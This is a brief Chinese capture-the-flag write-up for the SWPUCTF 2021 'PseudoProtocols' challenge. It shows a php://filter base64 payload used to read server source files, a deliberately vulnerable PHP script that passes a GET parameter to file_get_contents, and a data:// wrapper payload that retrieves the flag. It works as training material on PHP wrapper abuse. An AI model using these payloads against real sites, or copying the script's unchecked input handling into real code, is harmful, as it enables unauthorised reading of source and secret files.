[SWPUCTF 2021 新生赛]PseudoProtocols
打开靶机之后看到提示说可以在hint.php中去找,而且地址里面有参数wllm猜测是使用php伪协议进行读取
?file=php://filter/convert.base64-encode/resource=目标文件
对base64编码进行解码得到
提示说让我们去test2222222222222.php文件进行查找,得到php脚本
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
包含名为"flag.php"的文件,从URL中获取参数"a"的值,并将其赋值给变量$a,断变量$a是否已设置且其对应的文件内容是否等于字符串"I want flag",果条件成立,则输出"success",并显示变量$flag的值。
为此我们使用data://协议进行传输(数据流封装器,以传递相应格式的数据)
?a=data://text/plain,I want flag